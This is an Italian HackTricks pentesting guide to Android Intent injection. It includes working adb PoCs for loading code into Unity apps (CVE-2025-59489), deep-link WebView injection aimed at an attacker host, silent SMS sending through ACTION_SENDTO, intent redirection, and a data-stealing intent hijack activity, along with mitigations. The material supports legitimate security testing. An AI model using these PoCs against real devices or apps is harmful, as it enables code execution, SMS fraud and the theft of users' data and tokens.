Intent Injection
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Intent injection sfrutta componenti che accettano Intents controllati dallâattaccante o dati che vengono poi convertiti in Intents. Due schemi molto comuni durante Android app pentests sono:
- Passare extras appositamente creati ad Activities/Services/BroadcastReceivers exported che vengono poi inoltrati a componenti privileged, non-exported.
- Innescare deep links VIEW/BROWSABLE exported che inoltrano URL controllati dallâattaccante in WebViews interni o altri sink sensibili.
Deep links â WebView sink (URL parameter injection)
Se unâapp espone un deep link con custom scheme come:
myscheme://com.example.app/web?url=<attacker_url>
e lâActivity ricevente inoltra il parametro di query url in una WebView, puoi costringere lâapp a renderizzare contenuto remoto arbitrario nel proprio contesto WebView.
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impatto
- HTML/JS viene eseguito allâinterno del profilo WebView dellâapp.
- Se JavaScript è abilitato (di default o a causa di controlli fuori ordine), puoi enumerare/usare qualsiasi oggetto
@JavascriptInterfaceesposto, rubare cookie/local storage del WebView e pivotare.
See also:
Bug di ordine dei controlli che abilita JavaScript
Un bug ricorrente è lâabilitazione di JavaScript (o di altre impostazioni permissive del WebView) prima che lâallowlist/verifica finale dellâURL sia completata. Se helper precoci accettano il tuo deep link e il WebView viene configurato prima, il caricamento finale avviene con JavaScript giĂ abilitato anche se i controlli successivi sono difettosi o troppo lenti.
Cosa cercare nel codice decompilato:
- Molteplici helper che parsano/spezzano/ricostruiscono lâURL in modo diverso (normalizzazione incoerente).
- Chiamate a
getSettings().setJavaScriptEnabled(true)prima dellâultimo controllo dellâhost/percorso dellâallowlist. - Una pipeline come: parse â validazione parziale â configura WebView â verifica finale â loadUrl.
Unity Runtime: Intent-to-CLI extras â pre-init native library injection (RCE)
Le app Android basate su Unity tipicamente usano com.unity3d.player.UnityPlayerActivity (o UnityPlayerGameActivity) come Activity di ingresso. Il template Android di Unity tratta un extra di Intent speciale chiamato unity come una stringa di flag da linea di comando per il runtime Unity. Quando lâActivity di ingresso è exported (default in molti template), qualsiasi app locale â e talvolta un sito web se BROWSABLE è presente â può fornire questo extra.
Un flag pericoloso e non documentato porta allâesecuzione di codice nativo durante la primissima inizializzazione del processo:
- Flag nascosto:
-xrsdk-pre-init-library <absolute-path> - Effetto:
dlopen(<absolute-path>, RTLD_NOW)molto presto nellâinit, caricando un ELF controllato dallâattaccante dentro il processo dellâapp target con il suo UID e i suoi permessi.
Reverse-engineering excerpt (simplified):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Why it works
- Lâextra Intent
unityviene analizzato nei flag di runtime di Unity. - Fornire il pre-init flag punta Unity a un percorso ELF controllato dallâattaccante allâinterno di un linker namespace path consentito (vedi vincoli sotto).
Conditions for exploitation
- La entry Activity di Unity è exported (comunemente true per impostazione predefinita).
- Per one-click remoto via browser: la entry Activity dichiara anche
android.intent.category.BROWSABLEcosĂŹ gli extras possono essere passati da un URLintent:.
Local exploitation (same device)
- Posiziona un payload ELF in un percorso leggibile dallâapp vittima. PiĂš semplice: includi una libreria malevola nella tua app dellâattaccante e assicurati che venga estratta sotto
/data/app/.../lib/<abi>/impostando nel manifest dellâattaccante:
<application android:extractNativeLibs="true" ...>
- Avvia lâactivity Unity della vittima con il flag pre-init della CLI nellâextra
unity. Esempio PoC ADB:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity chiama
dlopen("/data/.../libpayload.so", RTLD_NOW); il tuo payload viene eseguito nel victim process, ereditando tutti i permessi dellâapp (camera/mic/network/storage, ecc.) e lâaccesso alle sessioni/dati in-app.
Notes
- Il percorso esatto
/data/app/...varia tra dispositivi/installazioni. Un attacker app può recuperare la propria native lib dir a runtime tramitegetApplicationInfo().nativeLibraryDire comunicarla al trigger. - Il file non deve necessariamente terminare con
.sose è un ELF valido âdlopen()si basa sugli header ELF, non sulle estensioni.
Remote oneâclick via browser (conditional)
Se lâentry activity di Unity è esportata con BROWSABLE, un sito web può passare extras tramite un URL intent::
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
Tuttavia, su Android moderno i namespace del dynamic linker e SELinux impediscono il caricamento da molti percorsi pubblici (ad esempio, /sdcard/Download). Vedrai errori come:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Strategia di bypass: mirare ad app che memorizzano in cache byte controllati dallâattaccante nella loro area privata (ad es., HTTP caches). PoichĂŠ i percorsi consentiti includono /data e la directory privata dellâapp, puntare -xrsdk-pre-init-library su un path assoluto allâinterno della cache dellâapp può soddisfare i vincoli del linker e consentire lâesecuzione di codice. Questo rispecchia pattern cache-to-ELF RCE giĂ osservati in altre Android app.
ConfusedâDeputy: SMS/MMS silenti via ACTION_SENDTO (Wear OS Google Messages)
Alcune app di messaggistica di default eseguono in modo errato intent impliciti di messaggistica automaticamente, trasformandoli in un primitivo confusedâdeputy: qualsiasi app non privilegiata può invocare Intent.ACTION_SENDTO con sms:, smsto:, mms:, o mmsto: e causare lâinvio immediato senza unâinterfaccia di conferma e senza il permesso SEND_SMS.
Punti chiave
- Trigger: implicit
ACTION_SENDTO+ messaging URI scheme. - Dati: impostare il destinatario nellâURI, il testo del messaggio nellâextra
"sms_body". - Permessi: nessuno (no
SEND_SMS), si basa sullâhandler SMS/MMS predefinito. - Osservato: Google Messages per Wear OS (corretto maggio 2025). Altri handler dovrebbero essere valutati allo stesso modo.
Payload minimo (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (senza permessi speciali)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
Espansione della superficie di attacco (Wear OS)
- Qualsiasi componente in grado di avviare Activities può lanciare lo stesso payload: Activities, foreground Services (with
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - Se il handler predefinito invia automaticamente, lâabuso può essere a un solo tap o completamente silenzioso da contesti in background a seconda delle policy OEM.
Checklist di pentesting
- Risolvi
ACTION_SENDTOsul target per identificare il handler predefinito; verifica se mostra unâinterfaccia di composizione o invia silenziosamente. - Testa tutti e quattro gli schemi (
sms:,smsto:,mms:,mmsto:) e gli extras (sms_body, opzionalmentesubjectper MMS) per verificare differenze di comportamento. - Considera destinazioni a pagamento/numeri a tariffa maggiorata quando testi su dispositivi reali.
Altri primitivi classici di Intent injection
- startActivity/sendBroadcast che usano extras di
Intentforniti dallâattaccante, che vengono poi reinterpretati (Intent.parseUri(...)) ed eseguiti. - Componenti proxy esportati che inoltrano Intents a componenti sensibili non esportati senza verifiche dei permessi.
Automatizzare i test dei componenti esportati (Smali-driven ADB generation)
Quando i componenti esportati si aspettano extras specifici, indovinare la forma del payload causa spreco di tempo e falsi negativi. Puoi automatizzare la scoperta di chiavi/tipi direttamente dal Smali ed emettere comandi adb pronti allâuso.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: decompila e scansiona il Smali alla ricerca di chiamate come
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()per inferire quali extras e campi sono consumati da ciascun componente. - Output: per ogni Activity/Service/Receiver/Provider esportata, lo strumento stampa una breve spiegazione e il comando esatto
adb shell am .../cmd content ...con i flag correttamente tipizzati.
Installazione
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Uso
python apk-components-inspector.py target.apk
Output di esempio
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras cheat sheet (flag basati sul tipo)
- Strings:
--es key value| String array:--esa key v1,v2 - Integers:
--ei key 123| Int array:--eia key 1,2,3 - Booleans:
--ez key true|false - Longs:
--el key 1234567890 - Floats:
--ef key 1.23 - URIs (extra):
--eu key content://...| Data URI (Intent data):-d content://... - Component extra:
--ecn key com.pkg/.Cls - Null string extra:
--esn key - Common flags:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Suggerimenti pratici per i Providers
- Usa
adb shell cmd content query|insert|update|delete ...per colpire ContentProviders senza agenti. - Per il probing SQLi, varia
--projectione--where(aka selection) quando il provider sottostante è SQLite-backed.
Automazione full-pipeline (interactive executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Script di supporto per analizzare ed eseguire comandi adb
```python import subprocessdef parse_adb_commands(file_path): with open(file_path, ârâ) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(âadb â): current = [s] elif s.startswith(â#â) or not s: if current: full = â â.join(current).replace(â \ â, â â).replace(â\â, ââ).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = â â.join(current).replace(â \ â, â â).replace(â\â, ââ).strip() commands.append(full) return commands
for i, cmd in enumerate(parse_adb_commands(âadbcommands.txtâ), 1): print(fâ\nCommand {i}: {cmd}â) input(âPress Enter to execute this commandâŚâ) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(âOutput:\nâ, r.stdout) if r.stderr: print(âErrors:\nâ, r.stderr) except subprocess.CalledProcessError as e: print(fâCommand failed with error:\n{e.stderr}â)
</details>
Esegui on-device: l'inspector è basato su Python e funziona in Termux o su dispositivi con root dove `apktool`/`androguard` sono disponibili.
---
## Intent Redirection (CWE-926) â individuazione e sfruttamento
Schema
- Un entry point esportato (Activity/Service/Receiver) legge un Intent in ingresso e lo inoltra internamente o esternamente senza validare sorgente/dati, ad es.:
- `startActivity(getIntent())`
- `startActivity(intent)` dove `intent` proviene da un extra come `redirect_intent`/`next_intent`/`pending_intent` o `Intent.parseUri(...)`.
- Fidarsi dei campi `action`/`data`/`component` senza controlli; non verificare l'identitĂ del chiamante.
Cosa cercare in Smali/Java
- Usi di `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` diretti su Intent influenzati dall'attaccante.
- Mancanza di controlli `getCallingPackage()`/`getCallingActivity()` o di verifiche con permessi custom.
ADB PoC templates
- Proxy Activity inoltrante un Intent extra verso una Activity interna privilegiata:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Servizio esportato che accetta un parcelable
redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Receiver esportato che inoltra senza validazione:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Flag utili per il comportamento in stile singleTask
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Esempi reali (impatto variabile):
- CVE-2024-26131 (Element Android): flussi esportati che portano a manipolazione di WebView, PIN bypass, login hijack.
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTIONâ effetti a livello di sistema. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirezione â accesso arbitrario ai file (con interazione dellâutente).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
Modello di minaccia
- App A si aspetta un risultato sensibile da App B usando un implicit Intent (es., un OAuth redirect, il risultato di un document picker, un IMAGE_CAPTURE return, o una custom callback action).
- App malintenzionata C pubblica un componente exported con un
<intent-filter>corrispondente per la stessaaction/category/data. Quando B risolve lâimplicit Intent, il resolver può mostrare un chooser; se lâutente sceglie C (o lo imposta come predefinito), il payload viene consegnato al componente dellâattaccante invece che ad A.
Minimal PoC manifest (attacker):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
Scheletro del Handler:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Note
- La specificitĂ della corrispondenza conta (action + categories + data). PiĂš il filtro di C è specifico rispetto allâIntent in uscita di B, maggiore è la probabilitĂ che venga mostrato o auto-selezionato.
- Questo vale anche per i deep links (
VIEW+BROWSABLE) quando le app si aspettano che unâaltra app gestisca un URL e restituisca qualcosa.
Pentest guidance
- Grep il target per chiamate
startActivity/startActivityForResult/registerForActivityResultche usano Intent non espliciti. - Ispeziona gli Intent che trasportano tokens in
extras,clipData, ogetData()e verifica se una terza parte potrebbe registrare un filtro compatibile. - Consiglia di sostituire i flussi impliciti con Intent espliciti (usare
setPackage()/setComponent()), oppure di richiedere caller-permission/permessi firmati sui receivers/services esportati.
Mitigations
- Preferire Intent espliciti per flussi sensibili (callbacks, tokens, auth results).
- Quando il cross-app è necessario, aggiungere requisiti di permission al componente ricevente e validare lâidentitĂ del caller.
- Limitare e restringere gli Intent filters solo a quanto strettamente necessario (scheme/host/path/MIME).
Osservare le decisioni del resolver (FLAG_DEBUG_LOG_RESOLUTION)
Quando controlli il sender, aggiungi Intent.FLAG_DEBUG_LOG_RESOLUTION a un Intent implicito per far sĂŹ che Android registri come avviene la resolution e quale componente verrĂ selezionato.
Esempio:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
Quello che vedrai in adb logcat è la traccia di risoluzione e il componente finale, ad es. com.android.camera2/com.android.camera.CaptureActivity.
Suggerimento CLI
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
Questo è utile per enumerare i handler candidati su un dispositivo/emulatore e confermare esattamente quale componente riceverà un Intent durante i test.
Riferimenti
- Android â Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 â Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector â GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab â 100M installs image app deep dive (component summary example)
- CVE-2024-26131 â NVD
- CVE-2023-44121 â CVE.org
- CVE-2023-30728 â CVE.org
- CVE-2022-36837 â CVE.org
- CVE-2021-4438 â NVD
- CVE-2020-14116 â NVD
- Android Intents (1/2): how they work, security, and attack examples â Mobeta
- Android Intent reference
- CVE-2025-59489 â Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs â Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk â Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 â Intent Abuse in Google Messages for Wear OS
- PoC repo â io-no/CVE-2025-12080
- Android docs â Intents and Intent Filters
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

